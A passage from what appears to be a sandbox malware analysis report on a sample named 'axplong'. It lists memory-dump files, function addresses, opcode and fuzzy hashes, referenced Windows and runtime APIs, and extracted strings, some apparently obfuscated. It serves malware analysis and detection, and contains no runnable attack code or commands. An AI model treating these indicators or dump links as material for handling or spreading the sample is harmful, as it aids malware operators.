Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 3f65e85ea609609aa8550175612486759b8a67b564bd053418e708d8f727b7da
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: D051687020C64D97DB388A3888997BEAFAEBF5D34CF140D59D442D7682DA139E8CC351

Function 00534CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3da991177d42032d5dc01f9ea524cb0a16ec247bcd2dd91d6dfe65b42494535
Instruction ID: cc516eef2e1c9903ec396a63165425ef28b043a00289d1d91b85dda8ed7b4b4c
Opcode Fuzzy Hash: e3da991177d42032d5dc01f9ea524cb0a16ec247bcd2dd91d6dfe65b42494535
Instruction Fuzzy Hash: F92260B3F515145BDB0CCB9DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9159A44

Function 00576F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e018e033389bdcf5418e72843cb0ff0974487bc54d530770faa25b38373d4b99
Instruction ID: 7ecb60fcf413e0ae8684586181d130a1238be14c36e35ef5e6737045a2ba66b5
Opcode Fuzzy Hash: e018e033389bdcf5418e72843cb0ff0974487bc54d530770faa25b38373d4b99
Instruction Fuzzy Hash: 43B159312146099FD715CF28E48AB657FA0FF49364F65C658E899CF2A1C335E982DF40

Function 00534AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081decdf962caa61fac47b7df9d5c1d1a6481ae1f472daf0a8351486a60ad02e
Instruction ID: f1c4b988b6777ed552be458f4d3d1ec3dc909aed01f1f735317e4099c0a7e33c
Opcode Fuzzy Hash: 081decdf962caa61fac47b7df9d5c1d1a6481ae1f472daf0a8351486a60ad02e
Instruction Fuzzy Hash: 4451AF746083918FC329CF29811523ABFE1BFD5200F084A9EE5D697292D774EA48CB91

Function 0057777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f49757d141c197abb65cb18ad528de05f6bb359b148d4e7f7ca42e746432d4c
Instruction ID: ad6bd70ba804746c12dd29cd33b4cb53a33dd2b59d23c32ac525a5cae4aa8506
Opcode Fuzzy Hash: 6f49757d141c197abb65cb18ad528de05f6bb359b148d4e7f7ca42e746432d4c
Instruction Fuzzy Hash: 8421B673F204394B770CC47ECC5727DB6E1C68C541745823AE8A6EA2C1D968D917E2E4

Function 0057765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd7d2ceab70894c43f193936df916108c7fba7e2b76651c1882a889179111e4
Instruction ID: 173eecc7c5f441620f74895231ff4392ea271dddb0baa4f3ea0d10d9c42565cd
Opcode Fuzzy Hash: 9fd7d2ceab70894c43f193936df916108c7fba7e2b76651c1882a889179111e4
Instruction Fuzzy Hash: 6B117723F30C295A675C816D8C1727AA5D2EBD825071F533AD826E7284E994DE23D290

Function 00578720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d73408d51f88ae6cc87502d37a66309026a74d825df9996abd1052c1950dc5ea
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 8611E97728014147D60C8A2DF9FC6B6AF95FBD532173CC375D04B4B658D9239945F500

Function 0056645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd6e9e237e8f984d358e3be584651f6b3e42a0d2b045bcff0ed88dbee000d4d
Instruction ID: 0629b3be3c54f642b0f2d4cd232d27c47cec04459304e282a782746ad0aaaba4
Opcode Fuzzy Hash: 5dd6e9e237e8f984d358e3be584651f6b3e42a0d2b045bcff0ed88dbee000d4d
Instruction Fuzzy Hash: 11E08C31040648AFDF267B14EC99A4C3F1AFF9234AF009904F804872A1CF35ED82DA80

Function 0056A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: c6eb183c1e861535601e97b3162a86daa0ef2eaaf3be23fecbb64923ca252167
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 5EE0B672A15228EBCB15DB98894898AF6ACFB8AB50F554496B501E3252C370DF40CBD1

Function 00542E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

Fz==, xrefs: 0054369E
HBhr, xrefs: 0054378F
8KG0fymoFx==, xrefs: 00542EC7
stoi argument out of range, xrefs: 00544269
invalid stoi argument, xrefs: 0054425A
WGt=, xrefs: 005433BA
246122658369, xrefs: 005433D4

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: 1d41729964c36ce41fda7c881308ab7fb2c871af5ec99cdfc26f54daaf229d54
Instruction ID: 6cc73125fd3d5f8ee05d74e6f12e54982d317139f84c9b5e279f175e807cc8c9
Opcode Fuzzy Hash: 1d41729964c36ce41fda7c881308ab7fb2c871af5ec99cdfc26f54daaf229d54
Instruction Fuzzy Hash: 4002BF70900249EBEF14EFA8C859BDEBFB5FF45308F504558E805A7282D7759A88CFA1

Function 00532E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00532F1F
GetCurrentThreadId.KERNEL32 ref: 00532F3E
__Mtx_unlock.LIBCPMT ref: 00532F8C
__Cnd_broadcast.LIBCPMT ref: 00532FA3
__Mtx_unlock.LIBCPMT ref: 005330B5
GetCurrentThreadId.KERNEL32 ref: 005330F2
__Mtx_unlock.LIBCPMT ref: 0053315B

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 1ff63eea2f5db4f397fd0d55d645a998c59634d3460022d4805a78501a68df19
Instruction ID: 9daa25d47894d4a0f6d064c189ce16dd42a70388f7ecf324e7eeda10e4961ad9
Opcode Fuzzy Hash: 1ff63eea2f5db4f397fd0d55d645a998c59634d3460022d4805a78501a68df19
Instruction Fuzzy Hash: ECA1E1B0A01706AFDB11DF64C949BAABFB8FF55318F048529E815DB241EB35EA04CBD1

Function 00564770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005647A7
___except_validate_context_record.LIBVCRUNTIME ref: 005647AF
_ValidateLocalCookies.LIBCMT ref: 00564838
__IsNonwritableInCurrentImage.LIBCMT ref: 00564863
_ValidateLocalCookies.LIBCMT ref: 005648B8

Strings

csm, xrefs: 0056484D

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 807fd5c3d913892f8b65c2faecd8832b480821a8f6154c35048ddaa15308f9db
Instruction ID: 914c625e643e9b368237e661de5437037b5e1deffc1dc951c2ec3271805e86c4
Opcode Fuzzy Hash: 807fd5c3d913892f8b65c2faecd8832b480821a8f6154c35048ddaa15308f9db
Instruction Fuzzy Hash: 6F51B534A00249ABCF10DF68D885AAE7FB5FF56314F148195E8189B352D732EE15CF90

Function 005670C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0056710B

Strings

.exe, xrefs: 00567118
.cmd, xrefs: 00567129
.bat, xrefs: 0056713A
.com, xrefs: 0056714B

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 09eb5883ddc01f6736136ebfe717377f1df2024c6304b03aed2b3e4d6819da4e
Instruction ID: c4da85544a5a95fd506564004086e2b2252701ec117b42ff92d3eb2914070954
Opcode Fuzzy Hash: 09eb5883ddc01f6736136ebfe717377f1df2024c6304b03aed2b3e4d6819da4e
Instruction Fuzzy Hash: 2A01A57760861A2676186419DC0263B1F9CBF87BB8715002BFD54F73C1DE55DC42C6A4

Function 00532670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00532806
___std_exception_destroy.LIBVCRUNTIME ref: 005328A0

Strings

P#S, xrefs: 00532811
P#S, xrefs: 005327BE, 00532899

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#S$P#S
API String ID: 2970364248-1326814652
Opcode ID: c77cffcae58d5ae0b92c194a06ef69b88d0f2003d303f6746aea0339e8e5f3cb
Instruction ID: 3cc7ae3fe3c78d65178d7a1272bcfc954dcb46f3b4d876bed3fa71d3be7af3b0
Opcode Fuzzy Hash: c77cffcae58d5ae0b92c194a06ef69b88d0f2003d303f6746aea0339e8e5f3cb
Instruction Fuzzy Hash: 60718F71E002099BDB04DFA8C885ADDFFB5FF59314F148119E805B7281EB74A944CBA5

Function 00547870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 0054795C
__Cnd_destroy_in_situ.LIBCPMT ref: 00547968
__Mtx_destroy_in_situ.LIBCPMT ref: 00547971

Strings

@yT, xrefs: 0054794A

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000848000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3909229366.0000000000849000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yT
API String ID: 4078500453-488637312
Opcode ID: 3437ad6fd4638a449b1da196bc7df9994d8d581c7bd2ef21a5c880a21f28767b
Instruction ID: 986107e97b69bd623573a4bb2dfad9a817a99fd83899ae06945ecb6adde61498
Opcode Fuzzy Hash: 3437ad6fd4638a449b1da196bc7df9994d8d581c7bd2ef21a5c880a21f28767b
Instruction Fuzzy Hash: F531E5B19047099BD720DF64D849AAABFE8FF58314F000A2EF945C7252E771EA54C7A1

Function 00532AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00532B23

Strings

P#S, xrefs: 00532B2E
This function cannot be called on a default constructed task, xrefs: 00532B03
P#S, xrefs: 00532B18

Memory Dump Source

Source File: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Offset: 00530000, based on PE: true

Associated: 00000004.00000002.3892764007.0000000000530000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3893208410.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3895276324.0000000000599000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000059B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000806000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3896310354.0000000000832000.00000040.00000001.01000000.00000007.sdmpDownload File
